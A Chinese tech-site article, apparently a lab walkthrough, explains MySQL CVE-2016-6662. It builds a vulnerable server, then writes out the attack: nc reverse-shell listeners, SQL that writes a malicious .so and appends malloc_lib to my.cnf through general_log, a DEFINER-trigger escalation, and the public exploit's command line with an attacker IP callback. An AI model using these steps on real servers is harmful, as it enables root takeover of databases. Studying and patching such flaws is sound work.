千家信息网

Mysql CVE-2016-6662漏洞分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇内容主要讲解"Mysql CVE-2016-6662漏洞分析",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"Mysql CVE-2016-6662漏洞分
千家信息网最后更新 2026年10月31日Mysql CVE-2016-6662漏洞分析

本篇内容主要讲解"Mysql CVE-2016-6662漏洞分析",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"Mysql CVE-2016-6662漏洞分析"吧!

漏洞描述:

该漏洞允许攻击者注入恶意配置到 mysql配置文件 my.cnf中,导致可加载任意扩展库。当扩展库中存在恶意指令时即可getshell。

备注:

以下实验全程开启 SELinux

该漏洞在 SELinux 开启的状态下也可用哦~

实验系统为 Centos7

漏洞范围:

mysql <= 5.7.15

mysql <= 5.6.33

mysql <= 5.5.52

环境搭建

需要在 mysql官网 中 自行下载 符合版本的 mysql。

由于在Centos7上安装时默认的 yum源头是设置的 mysql5.7.30。我们不能使用 yum源安装,需要手动下载 源码,然后编译安装:

第一步、下载 mysql5.7.10 源码

进入 mysql 各种版本下载页面:

https://downloads.mysql.com/archives/community/

选择 mysql5.7.10,本实验以 5.7.10 作为例子。

下载时选择 源码方式,系统为 常规Linux,下载含有 Boost Headers 的源码包:

第二步、创建用户

在 Linux 中,mysql 不允许使用 root 账号 运行。必须添加一个低权用户运行 mysql服务

添加用户,并且不允许登录:

useradd -s /sbin/nologin mysql

第三步、解压 mysql 源码包

将下载好的 mysql 源码包放到你想放的路径。最好放到 /usr/local 下。

解压命令:

tar -xzvf xxxxxx.tar.gz

第四步、安装依赖包

由于源码编译 mysql 需要一些运行库、依赖包等东西。我们需要先自行下好:

yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison

第五步、编译安装

解压完成后,进入刚解压好的mysql 目录下,执行命令进行编译:

cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost

命令运行完后,再进行安装:

make && make install

安装完成后,应该会有一个新文件夹 /usr/local/mysql。这个就是安装好的mysql 的文件夹了。

第六步、配置 mysql 配置文件

默认一般是没有自动创建 /etc/my.cnf 文件的。需要我们自己拷贝一份模板文件过去。

my.cnf 模板文件在 mysql 目录(这里往后讲的 mysql 目录都是指 安装完成后创建的 /usr/local/mysql)下的 support-files 文件夹里。

模板文件名为:

/usr/local/mysql/support-files/my-default.cnf

将其拷贝为 /etc/my.cnf

cp my-default.cnf /etc/my.cnf

我们还需要创建一个文件夹,供数据库文件存放。我直接在 mysql 目录创建了一个名为 data 的文件夹。将其作为 数据库文件存放路径:

mkdir /usr/local/mysql/data/

为保证权限,可以给它 777:

chmod 777 /usr/local/mysql/data/

将整个 mysql 目录所属归为 mysql 用户:

chown mysql:mysql /usr/local/mysql

配置 mysql 配置文件。在配置文件模板的基础上,修改三个重点配置:

basedir 设定为 mysql 目录

datadir 设定为 数据库文件存放目录

port 设定为 数据库监听端口

第七步、创建 mysql 服务

注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然创建服务的时候会报错

在 mysql 目录下 的 bin 目录,执行命令:

./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

其中,user参数为 启动 mysql 的用户。我们使用我们刚刚创建好的低权限用户。

basedir 和 datadir 必须和配置文件 /etc/my.cnf 的值一致。不然也会报错

执行完后,将会在 mysql目录下的 support-files 文件夹看到 mysql.server 文件。

我们将 mysql.server 文件拷贝为 /etc/init.d/mysqld

cp mysql.server /etc/init.d/mysqld

完成后,我们就可以使用命令:

/etc/init.d/mysqld restart

重启mysql 服务

原理介绍:

这个漏洞官方介绍网上很多。这里我就用大白话的方式来讲,并配合简单的示例来演示:

基本介绍

mysql 配置中在 [mysqld] 下有一个配置项。名为 malloc_lib。这个配置项可以加载任意位置的 so 文件,并执行。

然而执行 malloc_lib 指定的 so 文件的进程是 mysql_safe。这个进程是以 root 用户运行的:

但是由于是配置文件指定的 so 文件,mysql服务需要 重启 才会重新加载配置文件。所以最后需要将 mysql 重启才能完成整个攻击流程。

简单演示

我们需要下载好 大神写好的 c文件:

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

修改攻击脚本:

由于是演示,就用本机。 mysql 配置文件就写默认的配置文件 /etc/my.cnf:

写入后保存退出。进行编译:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

将会生成一个 so文件:

配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:

malloc_lib=/tmp/mysql_hookandroot_lib.so

这里 malloc_lib 指定的就是刚刚生成好的恶意 so文件 路径

写入后保存退出。由于 poc 写的是 127.0.0.1,所以我们开启本机上对应的端口:

nc -lvp 6033

重启 mysql 服务:

/etc/init.d/mysqld restart

有个小小的报错,不过不要紧,我们已经getshell了:

后文的攻击大致流程就是这样子:

想办法修改配置文件,并加上一行配置,最后重启mysql服务

root权限 - 尝试手工

配置mysql环境

我们首先让 mysql 的 root 用户能够让外网登录,连入mysql,输入以下命令:

grant all privileges on *.* to 'root'@'%' identified by '123456';flush privileges;

上传写入恶意 so文件

值得一提的是,mysql5.7.10 默认是开放 secure_file_priv 的

关于写入恶意 so文件,我们可以通过 python 并配合 mysql 的 dumpfile 语句。将文件的十六进制码进行写入。

python 文件转十六进制码:

import binasciif = open("mysql_hookandroot_lib.so", "rb")a = f.read()hexstr = binascii.b2a_hex(a)f.close()f = open("res.txt","w")f.write(hexstr)f.close()

得到一大串十六进制字符:

构造 mysql 语句:

注意:mysql写入十六进制码时,需要在字符前加一个 0x

select 0x一大串字符 into dumpfile "/tmp/cvetest.so"

关键点 - my.cnf 追加/新增配置

这个漏洞能够利用成功的最关键的一步,就是通过mysql的命令,修改 / 新增 my.cnf 配置。使其能够成功读取到 malloc_lib 配置项。

这里有几个坑点,一一列举:

(1)配置文件路径

mysql 中除了默认的 /etc/my.cnf。还有别的配置文件路径。并且是顺序读取的。放一张官网图:

https://dev.mysql.com/doc/refman/5.7/en/option-files.html

如图所示,不仅仅会读取 /etc/my.cnf文件,而且还会读取 $MYSQL_HOME/my.cnf,这个是指 mysql目录下的my.cnf。

为什么钟情于 mysql目录下的 my.cnf呢?因为 mysql目录,mysql用户99%的几率是可读写的。而别的目录可不可写就难说了。。

(2)outfile / dumpfile

正常情况下,谈到导出文件。第一反应就是使用 mysql 的语句:outfile、dumpfile。

可惜,这里有一个坑点。

我们来尝试用 mysql 的outfile 写一个 my.cnf 出来:

select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";

然后重启 mysql 的时候将会报错:

这是因为,我们通过 outfile / dumpfile 写出来的文件,权限是 rw rw rw。

在 mysql 中有个安全策略:如果配置文件的权限可被 其他用户 写,则将会忽略这个配置文件。

而通过 outfile 写出来的文件权限是 rw rw rw。不符合 mysql 的安全策略规则。

所以我们得另辟蹊径。

(3)general_log与配置文件格式

在mysql中想要写入文件,还有一个语句:general_log。

我们可以通过 general_log,写入 my.cnf 文件。

通过 general_log 写入的文件其他用户 无权限。

首先,先将 general_log 文件路径设置为 mysql目录下的 my.cnf 文件。即:/usr/local/mysql/my.cnf

set global general_log_file = "/usr/local/mysql/my.cnf";

开启 general_log:

set global general_log=on;

写入配置:

MySQL [(none)]> select "    "> [mysqld]    "> malloc_lib=/tmp/cvetest.so    "> #";

写入成功后,查看文件权限:

查看内容,发现通过 general_log 新增写入文件的方式,会先写入 banner 信息,然后再写如具体日志。

由于 my.cnf 文件不是以 [] 开头。mysql 读取的时候会报错。也无法成功getshell:

(4)攻击条件

在测试的时候发现,general_log 对于已经存在的文件,将会追加。

而 my.cnf 中的配置。配置不正确 mysql 将会忽略配置。但是配置文件必须以 [] 开头。

得出攻击条件:

当 mysql 有已经创建好的 my.cnf 文件时,才可通过 general_log 对该文件追加配置。

我们创建好一个 /usr/loca/mysql/my.cnf。简单写一个配置:

[mysqld]secure_file_priv = NULL

将新的 my.cnf 所有权给 mysql:

chown mysql:mysql my.cnf

重启 mysql。然后我们像上面的(3)一样:修改 general_log 路径;开启 general_log;写入恶意配置项:

查看配置文件,由于之前已经写好了配置文件,所以现在 my.cnf 是以 [] 开头的:

尝试重启 mysql:

成功 getshell:

(5)/etc/my.cnf

在实际情况中,可能 mysql 的配置项就一个默认的 /etc/my.cnf。那我们可不可以通过 general_log 追加到 /etc/my.cnf 中呢?

答案是:看情况。。。

默认 /etc/my.cnf 的权限是 r rx r

如果这种情况设置 general_log ,则会报错:

mysql要写入的话,需要具有 写入 权限

现实中管理员错配权限也是经常发生的情况。

将 /etc/my.cnf 权限修改为 rw r r:

chmod 644 /etc/my.cnf

尝试写入:

成功写入:

重启后自然成功getshell:

非root权限 - 使用exp

配置mysql环境

按照网上的说法,其实不需要root用户,只需要一个具有 select,insert,create,file 权限的用户即可。

我们来创建一个用户,及其对应的数据库:

连入mysql,执行下面语句:

create database cvetest;grant file on *.* to 'cveuser'@'%' identified by '123456';grant select,insert,create on cvetest.* to 'cveuser'@'%';flush privileges;

将 /etc/my.cnf 权限设置为 600,所属用户为 mysql:

chmod 600 /etc/my.cnfchown mysql:mysql /etc/my.cnf

配置exp

首先我们需要先下载大佬写好的攻击脚本:一个python文件和一个c文件:

0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

mysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c

默认kali没有安装 mysql-connector,而大神写的脚本中用了这个库。

不安装的话将会报错:

ImportError: No module named mysql.connector

我们需要手动安装:

python -m pip install mysql-connector

由于python脚本中有些配置和我们实验环境不符,我们还需要手动修改一下:

(1)python - 将 trigger 触发器目录设置成实验靶机的 data 目录

首先需要知道靶机的 data 目录在哪。连入靶机的 mysql ,输入命令:

 show variables like "%data%";

这里的 datadir 的值就是 mysql 服务的 data 目录路径。

修改 python 脚本:

(2)python - 修改恶意so文件导出路径

虽然脚本里说 /tmp 重启会丢失文件, /var/lib/mysql mysql 也有权限写入

但是实际上用的时候可能会报错,没有权限写入。

个人认为最好把路径改回成 /tmp

(3)c - 修反弹shell端口

编辑 c 文件,注意该文件需要和 python 文件放在同一目录下。

修改配置:

ATTACKERS_IP 设置为 攻击机ip

SHELL_PORT 设置为 攻击机接收反弹shell的端口

INJECTED_CONF 设置为 我们攻击时使用的 my.cnf 路径

运行 exp

直接运行 exp:

pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf

mysql触发器

我们来看看这个 exp 是如何实现 非 root 用户 却能够修改 general_log 配置 的:

找到关键SQL语句:

将其单独抽出来整理格式查看:

这是一个触发器

但是这不是直接执行的,而是通过 mysql 的 dumpfile 语句写入到文件里的:

为什么要用触发器呢?为什么要写入到文件中不直接执行呢?

带着这些疑问,我们来实践一下:

非 root 用户,无法直接 set global general_log

先说一个小细节:

select user() 和 select current_user() 的区别:

select current_user() 查询出来的用户才是真正的存在数据库里的用户格式。

尝试设置 general_log:

无权限。

触发器 - 以他人权限执行 SQL 语句

官网中对于触发器的格式描述:

官网链接在此:

https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html

大意是说, mysql的触发器可以通过设置 DEFINER 参数,以别的用户身份执行触发器的 SQL语句。

语句:

create definer='root'@'localhost' trigger test1   指定使用用户 'root'@'localhost'执行触                                                                         发器 test1after INSERT                                      触发器在执行 INSERT 语句之后执行on test1.t1                                       在哪个表上设置触发器for each ROW                                      固定格式BEGIN                                             固定格式,表示触发器要执行的SQL语句开始select "1" into outfile "/tmp/1234567.txt";       触发器要执行的SQL语句END                                               固定格式,表示触发器要执行的SQL语句结束

但是并不是任何用户都能使用 root 用户身份去执行的。

想要以 root 身份执行触发器,创建者必须具有 super 权限:

备注:

delimiter | 表示暂时性设置 Mysql 每条语句的分隔符为 |,mysql语句分隔符默认是 ;。但是由于触发器中需要写入 sql语句,sql语句中有 ; 。会导致 sql语句提前结束。所以需要暂时性修改分隔符。

莫非到此就结束了?我们还有一计。

参考大神的脚本时,发现它将触发器写入到了一个文件中,这个文件路径也是我们用 exp 的时候需要修改的路径:

莫非 mysql 创建了触发器之后,将会以文件形式保存下来?

动手实验一探究竟。

我们直接使用 root 用户来创建触发器:

语句:

跟上面那个一样

create definer='root'@'localhost' trigger test1after INSERTon test1.t1for each ROWBEGINselect "1" into outfile "/tmp/1234567.txt";end|

创建成功:

我们到 mysql 的数据库文件目录去看看:

如果不知道数据库文件目录在哪,在mysql终端中输入 :

show variables like "%datadir%";

默认情况下,数据库文件目录下,数据库文件夹名 和数据库名一致。我们找到我们的 test1数据库的目录,并 进入

注意:这里的数据库文件夹 mysql 用户都是可写的

发现真的多了两个 TRN文件,有用的文件就是和数据表名对应的 TRN文件:

查看内容:

也就是说,mysql 的触发器文件就是保存在数据库文件目录下的数据库文件夹中。文件名与表名对应。

exp 原理

根据上面实验,我们可以整理出 exp 的原理和流程了:

(1)首先连入 mysql 。连入账户不需要 root 用户,只要能 select,insert,create,file 即可

(2)将 恶意 so库 写入到文件夹中。这里最好写到 /tmp 目录下。也可尝试写入 mysql 数据库目录下

(3)创建一个新表,为后面触发器做准备

(4)将触发器的配置写入到触发器文件中,触发器的配置为通过 general_log 对 my.cnf 文件进行配置追加

(5)对表进行操作,使其执行触发器

到此,相信大家对"Mysql CVE-2016-6662漏洞分析"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

文件 配置 目录 用户 触发器 权限 语句 数据 数据库 路径 文件夹 攻击 漏洞 成功 命令 就是 恶意 服务 格式 源码 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技产业 科技金融是不是互联网金融 互联网下的科技发展 互联网中国科技 重庆互联网络科技 互联网科技未来 互联网科技集团 奇酷互联网科技公司 青海科技产业互联网发展 中和天地互联网科技有限公司 烟台灵鸽互联网科技有限公司 美国互联网科技实力 沐思想互联网科技有限公司 山东星卡互联网科技有限公司官网 广州千川互联网科技有限公司 35岁以上互联网科技行业 广东鹅鹅鹅互联网科技有限公司 萌小萌互联网科技河南有限公司 美国五大互联网科技公司市值多少 互联网科技大佬云集 互联网金融 科技 致聘互联网科技 互联网科技大会案例 知域互联网科技有限公司大骗子 互联网科技商业 广西互联网科技孵化中心 世界互联网领先科技成果获奖 科技互联网行业投资研究 易租星互联网科技有限公司 瑞安市蟠桃会互联网科技有限公司
0